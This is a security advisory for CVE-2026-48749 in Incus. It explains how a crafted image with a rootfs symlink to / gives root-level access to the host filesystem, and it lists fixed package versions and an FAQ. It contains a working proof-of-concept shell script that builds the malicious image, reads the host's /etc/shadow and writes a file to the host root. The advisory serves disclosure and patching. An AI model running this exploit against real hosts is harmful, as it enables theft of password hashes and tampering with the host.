CVE-2026-48749: Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml rootfs/ rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh set -eu
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: PoC rootfs symlink host afrw EOF
cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c >../afrw-rootfs-symlink.tar
inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink
read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow"
write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Other sources
Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/lxc/incus/v7/cmd/incusdto a version that resolves this vulnerability.Fixed in 7.2.0 - Upgrade
Upgrade
alpine/incusto a version that resolves this vulnerability.Fixed in 7.0.1-r0 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u8 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 7.0.0-5 - Upgrade
Upgrade
debian/lxdto a version that resolves this vulnerability.Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3 - Upgrade
Upgrade
Incusto a version that resolves this vulnerability.Fixed in 7.2.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48749?
The severity of CVE-2026-48749 is rated as critical with a score of 9.9.
What are the potential impacts of CVE-2026-48749?
CVE-2026-48749 can lead to arbitrary file reading or writing on the host, potentially resulting in arbitrary command execution.
How does CVE-2026-48749 allow arbitrary file access?
CVE-2026-48749 exploits the way Incus validates images, allowing crafted images to bypass security and access arbitrary files.
Which software is affected by CVE-2026-48749?
CVE-2026-48749 affects the Incus software, specifically version v7 of the command 'incusd' in the go/github.com/lxc/incus repository.
How can I mitigate the risks associated with CVE-2026-48749?
To mitigate CVE-2026-48749, ensure that all instances of Incus are updated and configured to reject untrusted images.